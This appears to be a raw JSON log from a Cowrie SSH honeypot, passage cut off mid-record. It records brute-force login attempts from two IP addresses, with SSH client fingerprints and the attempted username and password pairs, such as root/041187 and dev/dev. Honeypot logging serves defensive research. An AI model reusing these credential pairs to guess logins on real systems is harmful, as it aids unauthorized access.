{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35860,"dst_ip":"10.17.0.5","dst_port":22,"session":"accdceed7cf8","protocol":"ssh","message":"New connection: 45.156.87.253:35860 (10.17.0.5:22) [session: accdceed7cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:30.630216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:30.633999Z","src_ip":"45.156.87.253","session":"accdceed7cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:30.717561Z","src_ip":"45.156.87.253","session":"accdceed7cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:30.961419Z","src_ip":"45.156.87.253","session":"accdceed7cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":49380,"dst_ip":"159.203.135.109","dst_port":22,"session":"488eb8f46709","protocol":"ssh","message":"New connection: 103.15.222.183:49380 (159.203.135.109:22) [session: 488eb8f46709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:31.686354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:31.690983Z","src_ip":"103.15.222.183","session":"488eb8f46709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:31.919402Z","src_ip":"103.15.222.183","session":"488eb8f46709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:32.060221Z","src_ip":"45.156.87.253","session":"accdceed7cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"041187","message":"login attempt [root/041187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:32.604590Z","src_ip":"103.15.222.183","session":"488eb8f46709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:33.834810Z","src_ip":"103.15.222.183","session":"488eb8f46709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35862,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3d5fccb3e1e","protocol":"ssh","message":"New connection: 45.156.87.253:35862 (10.17.0.5:22) [session: e3d5fccb3e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:33.988449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:33.994560Z","src_ip":"45.156.87.253","session":"e3d5fccb3e1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:34.074975Z","src_ip":"45.156.87.253","session":"e3d5fccb3e1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:34.452669Z","src_ip":"45.156.87.253","session":"e3d5fccb3e1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:35.535732Z","src_ip":"45.156.87.253","session":"e3d5fccb3e1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35866,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b29bb084bef","protocol":"ssh","message":"New connection: 45.156.87.253:35866 (10.17.0.5:22) [session: 0b29bb084bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:37.449921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:37.453617Z","src_ip":"45.156.87.253","session":"0b29bb084bef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:37.534826Z","src_ip":"45.156.87.253","session":"0b29bb084bef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"passwd","message":"login attempt [username/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:37.778578Z","src_ip":"45.156.87.253","session":"0b29bb084bef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:39.033649Z","src_ip":"45.156.87.253","session":"0b29bb084bef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54816,"dst_ip":"10.17.0.5","dst_port":22,"session":"7926746fed0f","protocol":"ssh","message":"New connection: 45.156.87.253:54816 (10.17.0.5:22) [session: 7926746fed0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:40.811944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:40.818161Z","src_ip":"45.156.87.253","session":"7926746fed0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:40.898542Z","src_ip":"45.156.87.253","session":"7926746fed0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1234","message":"login attempt [rocky/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:41.142001Z","src_ip":"45.156.87.253","session":"7926746fed0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:42.225489Z","src_ip":"45.156.87.253","session":"7926746fed0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54828,"dst_ip":"10.17.0.5","dst_port":22,"session":"666387d5d439","protocol":"ssh","message":"New connection: 45.156.87.253:54828 (10.17.0.5:22) [session: 666387d5d439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:44.171326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:44.175698Z","src_ip":"45.156.87.253","session":"666387d5d439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:44.256251Z","src_ip":"45.156.87.253","session":"666387d5d439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:44.498991Z","src_ip":"45.156.87.253","session":"666387d5d439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:45.581621Z","src_ip":"45.156.87.253","session":"666387d5d439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54840,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd331cb783c0","protocol":"ssh","message":"New connection: 45.156.87.253:54840 (10.17.0.5:22) [session: cd331cb783c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:47.483519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:47.487402Z","src_ip":"45.156.87.253","session":"cd331cb783c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:47.571073Z","src_ip":"45.156.87.253","session":"cd331cb783c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456789","message":"login attempt [rdpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:47.813827Z","src_ip":"45.156.87.253","session":"cd331cb783c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:48.897455Z","src_ip":"45.156.87.253","session":"cd331cb783c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57376,"dst_ip":"10.17.0.5","dst_port":22,"session":"65453121220c","protocol":"ssh","message":"New connection: 45.156.87.253:57376 (10.17.0.5:22) [session: 65453121220c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:50.848394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:50.862867Z","src_ip":"45.156.87.253","session":"65453121220c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:51.064984Z","src_ip":"45.156.87.253","session":"65453121220c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:51.367004Z","src_ip":"45.156.87.253","session":"65453121220c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:52.449881Z","src_ip":"45.156.87.253","session":"65453121220c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57384,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad270336ffad","protocol":"ssh","message":"New connection: 45.156.87.253:57384 (10.17.0.5:22) [session: ad270336ffad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:54.395475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:54.399302Z","src_ip":"45.156.87.253","session":"ad270336ffad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","s